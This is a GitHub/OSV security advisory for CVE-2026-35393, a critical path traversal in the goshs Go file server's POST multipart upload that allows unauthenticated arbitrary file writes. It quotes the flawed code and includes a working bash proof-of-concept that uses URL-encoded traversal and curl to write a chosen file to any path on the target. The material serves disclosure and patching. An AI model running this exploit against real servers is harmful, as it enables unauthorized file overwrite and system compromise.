CVE-2026-35393: goshs Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jg56-wf8x-qrv5",
  "modified" : "2026-04-06T23:43:49Z",
  "published" : "2026-04-03T04:08:20Z",
  "aliases" : [ "CVE-2026-35393" ],
  "summary" : "goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs POST multipart upload",
  "details" : "### Summary\n* POST multipart upload directory not sanitized | `httpserver/updown.go:71-174`\n\nThis finding affect the default configuration, no flags or authentication required.\n\n### Details\n\n**File:** `httpserver/updown.go:71-174`\n**Trigger:** `POST /<path>/upload` (server.go:49-51 checks `HasSuffix(r.URL.Path, \"/upload\")`)\n\nThe filename is sanitized (slashes stripped, line 105-106), but the target directory comes from `req.URL.Path` unsanitized:\n\n```go\nupath := req.URL.Path                              // unsanitized\n\ntargetpath := strings.Split(upath, \"/\")\ntargetpath = targetpath[:len(targetpath)-1]         // strips trailing \"upload\"\ntarget := strings.Join(targetpath, \"/\")\n\nfilenameSlice := strings.Split(part.FileName(), \"/\")\nfilenameClean := filenameSlice[len(filenameSlice)-1]  // filename sanitized\n\nfinalPath := fmt.Sprintf(\"%s%s/%s\", fs.UploadFolder, target, filenameClean)\n```\n\nThe route requires the URL to end with `/upload`. An attacker uses a path like `/../../target_dir/upload`, the suffix satisfies routing, and the `../..` escapes the webroot. The filename on disk is controlled by the attacker via the multipart `filename` field (after basename extraction).\n\n**Impact:** Unauthenticated arbitrary file write to any existing directory on the filesystem.\n\n**PoCs:**\n```bash\n#!/usr/bin/env bash\n#\n# Example:\n#   ./arbitrary_overwrite2.sh 10.0.0.5 8080\n\nset -euo pipefail\n\nHOST=\"${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}\"\nPORT=\"${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}\"\nLOCAL_FILE=\"${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}\"\nTARGET=\"${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}\"\n\nif [ ! -f \"$LOCAL_FILE\" ]; then\n    echo \"[-] Local file not found: $LOCAL_FILE\"\n    exit 1\nfi\n\n# Split target into directory and filename.\n# The server builds: finalPath = UploadFolder + <dir from URL> + \"/\" + <upload filename>\n# So we put the target's dirname in the URL and the target's basename as the upload filename.\nTARGET_DIR=$(dirname \"$TARGET\")\nTARGET_NAME=$(basename \"$TARGET\")\n\n# 16 levels of %2e%2e/ (URL-encoded \"..\") to reach filesystem root.\n# Encoding is required so curl does not resolve the traversal client-side.\nTRAVERSAL=\"\"\nfor _ in $(seq 1 16); do\n    TRAVERSAL=\"${TRAVERSAL}%2e%2e/\"\ndone\n\n# Strip leading / and build path ending with /upload\nTARGET_REL=\"${TARGET_DIR#/}\"\nPOST_PATH=\"/${TRAVERSAL}${TARGET_REL}/upload\"\n\necho \"[*] Source:  ${LOCAL_FILE}\"\necho \"[*] Target:  ${TARGET}\"\necho \"[*] POST:    ${POST_PATH}\"\necho \"\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n    --path-as-is \\\n    -X POST \\\n    -F \"file=@${LOCAL_FILE};filename=${TARGET_NAME}\" \\\n    \"http://${HOST}:${PORT}${POST_PATH}\")\n\necho \"[*] HTTP ${HTTP_CODE}\"\necho \"[*] File should now exist at ${TARGET} on the target.\"\n```\n\nTo execute it: `./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can`\n\n---\n\n## Recommendations\n\nChecking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/patrickhener/goshs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.1.5-0.20260401172448-237f3af891a9"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patrickhener/goshs/security/advisories/GHSA-jg56-wf8x-qrv5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35393"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patrickhener/goshs"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-03T04:08:20Z",
    "nvd_published_at" : "2026-04-06T21:16:21Z"
  }
}